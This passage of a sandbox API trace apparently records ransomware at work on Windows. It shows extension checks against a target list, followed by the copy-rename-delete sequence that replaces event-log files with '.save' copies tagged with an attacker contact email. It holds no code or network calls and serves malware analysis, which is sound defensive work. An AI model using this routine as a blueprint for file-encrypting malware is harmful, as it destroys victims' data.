(lpString1=".docx", lpString2="4.msu") returned -1 [0061.516] lstrlenW (lpString=".pdf") returned 4 [0061.516] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0061.516] lstrlenW (lpString=".xls") returned 4 [0061.516] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0061.516] lstrlenW (lpString=".xlsx") returned 5 [0061.516] lstrcmpiW (lpString1=".xlsx", lpString2="4.msu") returned -1 [0061.516] lstrlenW (lpString=".ppt") returned 4 [0061.516] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0061.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.516] lstrlenW (lpString=".zip") returned 4 [0061.516] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0061.516] lstrlenW (lpString=".rar") returned 4 [0061.516] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0061.516] lstrlenW (lpString=".bz2") returned 4 [0061.516] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0061.516] lstrlenW (lpString=".7z") returned 3 [0061.516] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0061.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.516] lstrlenW (lpString=".dbf") returned 4 [0061.516] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0061.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.516] lstrlenW (lpString=".1cd") returned 4 [0061.516] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0061.516] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x64.msu") returned 55 [0061.516] lstrlenW (lpString=".jpg") returned 4 [0061.516] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0061.516] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0061.516] lstrlenW (lpString="Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 64 [0061.516] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0061.517] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0061.517] CloseHandle (hObject=0x36c) returned 1 [0061.517] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 0x20 [0061.517] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.518] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0061.518] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.518] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.518] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.518] GetLastError () returned 0x0 [0061.518] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0061.523] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0061.525] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.525] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x154, lpOverlapped=0x0) returned 1 [0061.525] SetEndOfFile (hFile=0x34c) returned 1 [0061.526] CloseHandle (hObject=0x34c) returned 1 [0061.527] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.528] SetEndOfFile (hFile=0x36c) returned 1 [0061.529] CloseHandle (hObject=0x36c) returned 1 [0061.529] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0061.529] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-backgroundtaskinfrastructure%4operational.evtx")) returned 1 [0061.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.529] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.529] lstrlenW (lpString=".doc") returned 4 [0061.529] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.529] lstrlenW (lpString=".docx") returned 5 [0061.530] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.530] lstrlenW (lpString=".pdf") returned 4 [0061.530] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.530] lstrlenW (lpString=".xls") returned 4 [0061.530] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.530] lstrlenW (lpString=".xlsx") returned 5 [0061.530] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.530] lstrlenW (lpString=".ppt") returned 4 [0061.530] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.530] lstrlenW (lpString=".zip") returned 4 [0061.530] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.530] lstrlenW (lpString=".rar") returned 4 [0061.530] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.530] lstrlenW (lpString=".bz2") returned 4 [0061.530] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.530] lstrlenW (lpString=".7z") returned 3 [0061.530] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.530] lstrlenW (lpString=".dbf") returned 4 [0061.530] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.530] lstrlenW (lpString=".1cd") returned 4 [0061.530] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.530] lstrlenW (lpString=".jpg") returned 4 [0061.530] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.530] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.530] lstrlenW (lpString=".doc") returned 4 [0061.530] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.530] lstrlenW (lpString=".docx") returned 5 [0061.530] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.531] lstrlenW (lpString=".pdf") returned 4 [0061.531] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.531] lstrlenW (lpString=".xls") returned 4 [0061.531] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.531] lstrlenW (lpString=".xlsx") returned 5 [0061.531] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.531] lstrlenW (lpString=".ppt") returned 4 [0061.531] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.531] lstrlenW (lpString=".zip") returned 4 [0061.531] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.531] lstrlenW (lpString=".rar") returned 4 [0061.531] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.531] lstrlenW (lpString=".bz2") returned 4 [0061.531] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.531] lstrlenW (lpString=".7z") returned 3 [0061.531] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.531] lstrlenW (lpString=".dbf") returned 4 [0061.531] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.531] lstrlenW (lpString=".1cd") returned 4 [0061.531] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.531] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-BackgroundTaskInfrastructure%4Operational.evtx") returned 72 [0061.531] lstrlenW (lpString=".jpg") returned 4 [0061.531] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.531] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0061.531] lstrlenW (lpString="Microsoft-Windows-Bits-Client%4Operational.evtx") returned 47 [0061.531] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0061.532] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0061.532] CloseHandle (hObject=0x36c) returned 1 [0061.532] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 0x20 [0061.532] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.532] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0061.532] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.532] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.532] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.532] GetLastError () returned 0x0 [0061.532] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0061.536] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0061.537] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.537] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x132, lpOverlapped=0x0) returned 1 [0061.538] SetEndOfFile (hFile=0x34c) returned 1 [0061.538] CloseHandle (hObject=0x34c) returned 1 [0061.540] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.540] SetEndOfFile (hFile=0x36c) returned 1 [0061.541] CloseHandle (hObject=0x36c) returned 1 [0061.541] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0061.541] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-bits-client%4operational.evtx")) returned 1 [0061.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.542] lstrlenW (lpString=".doc") returned 4 [0061.542] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.542] lstrlenW (lpString=".docx") returned 5 [0061.542] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.542] lstrlenW (lpString=".pdf") returned 4 [0061.542] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.542] lstrlenW (lpString=".xls") returned 4 [0061.542] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.542] lstrlenW (lpString=".xlsx") returned 5 [0061.542] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.542] lstrlenW (lpString=".ppt") returned 4 [0061.542] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.542] lstrlenW (lpString=".zip") returned 4 [0061.542] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.542] lstrlenW (lpString=".rar") returned 4 [0061.542] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.542] lstrlenW (lpString=".bz2") returned 4 [0061.542] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.542] lstrlenW (lpString=".7z") returned 3 [0061.542] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.542] lstrlenW (lpString=".dbf") returned 4 [0061.542] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.542] lstrlenW (lpString=".1cd") returned 4 [0061.542] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.542] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.543] lstrlenW (lpString=".jpg") returned 4 [0061.543] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.543] lstrlenW (lpString=".doc") returned 4 [0061.543] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.543] lstrlenW (lpString=".docx") returned 5 [0061.543] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.543] lstrlenW (lpString=".pdf") returned 4 [0061.543] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.543] lstrlenW (lpString=".xls") returned 4 [0061.543] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.543] lstrlenW (lpString=".xlsx") returned 5 [0061.543] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.543] lstrlenW (lpString=".ppt") returned 4 [0061.543] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.543] lstrlenW (lpString=".zip") returned 4 [0061.543] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.543] lstrlenW (lpString=".rar") returned 4 [0061.543] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.543] lstrlenW (lpString=".bz2") returned 4 [0061.543] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.543] lstrlenW (lpString=".7z") returned 3 [0061.543] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.543] lstrlenW (lpString=".dbf") returned 4 [0061.543] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.543] lstrlenW (lpString=".1cd") returned 4 [0061.543] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.543] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Bits-Client%4Operational.evtx") returned 55 [0061.543] lstrlenW (lpString=".jpg") returned 4 [0061.544] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.544] lstrcmpiW (lpString1=".evtx", lpString2=".save") returned -1 [0061.544] lstrlenW (lpString="Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 49 [0061.544] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0061.544] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x25cff14 | out: lpFileSize=0x25cff14*=69632) returned 1 [0061.544] CloseHandle (hObject=0x36c) returned 1 [0061.544] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 0x20 [0061.544] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0061.544] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0061.544] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.544] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.545] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.545] GetLastError () returned 0x0 [0061.545] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x11000, lpOverlapped=0x0) returned 1 [0061.548] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x11010, lpOverlapped=0x0) returned 1 [0061.936] ReadFile (in: hFile=0x36c, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x25cfecc, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x25cfecc*=0x0, lpOverlapped=0x0) returned 1 [0061.936] WriteFile (in: hFile=0x34c, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x25cfc94, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x25cfc94*=0x136, lpOverlapped=0x0) returned 1 [0061.936] SetEndOfFile (hFile=0x34c) returned 1 [0061.936] CloseHandle (hObject=0x34c) returned 1 [0061.938] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x25cfec0 | out: lpNewFilePointer=0x0) returned 1 [0061.938] SetEndOfFile (hFile=0x36c) returned 1 [0061.939] CloseHandle (hObject=0x36c) returned 1 [0061.939] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0061.940] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-codeintegrity%4operational.evtx")) returned 1 [0061.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.940] lstrlenW (lpString=".doc") returned 4 [0061.940] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.940] lstrlenW (lpString=".docx") returned 5 [0061.940] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.940] lstrlenW (lpString=".pdf") returned 4 [0061.940] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.940] lstrlenW (lpString=".xls") returned 4 [0061.940] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.940] lstrlenW (lpString=".xlsx") returned 5 [0061.940] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.940] lstrlenW (lpString=".ppt") returned 4 [0061.940] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.940] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.940] lstrlenW (lpString=".zip") returned 4 [0061.940] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.940] lstrlenW (lpString=".rar") returned 4 [0061.940] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.940] lstrlenW (lpString=".bz2") returned 4 [0061.940] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.940] lstrlenW (lpString=".7z") returned 3 [0061.941] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.941] lstrlenW (lpString=".dbf") returned 4 [0061.941] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.941] lstrlenW (lpString=".1cd") returned 4 [0061.941] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.941] lstrlenW (lpString=".jpg") returned 4 [0061.941] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0061.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.941] lstrlenW (lpString=".doc") returned 4 [0061.941] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0061.941] lstrlenW (lpString=".docx") returned 5 [0061.941] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0061.941] lstrlenW (lpString=".pdf") returned 4 [0061.941] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0061.941] lstrlenW (lpString=".xls") returned 4 [0061.941] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0061.941] lstrlenW (lpString=".xlsx") returned 5 [0061.941] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0061.941] lstrlenW (lpString=".ppt") returned 4 [0061.941] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0061.941] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.941] lstrlenW (lpString=".zip") returned 4 [0061.941] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0061.941] lstrlenW (lpString=".rar") returned 4 [0061.941] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0061.941] lstrlenW (lpString=".bz2") returned 4 [0061.941] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0061.941] lstrlenW (lpString=".7z") returned 3 [0061.941] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0061.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.942] lstrlenW (lpString=".dbf") returned 4 [0061.942] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0061.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.942] lstrlenW (lpString=".1cd") returned 4 [0061.942] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0061.942] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-CodeIntegrity%4Operational.evtx") returned 57 [0061.942] lstrlenW (lpString=".jpg") returned 4 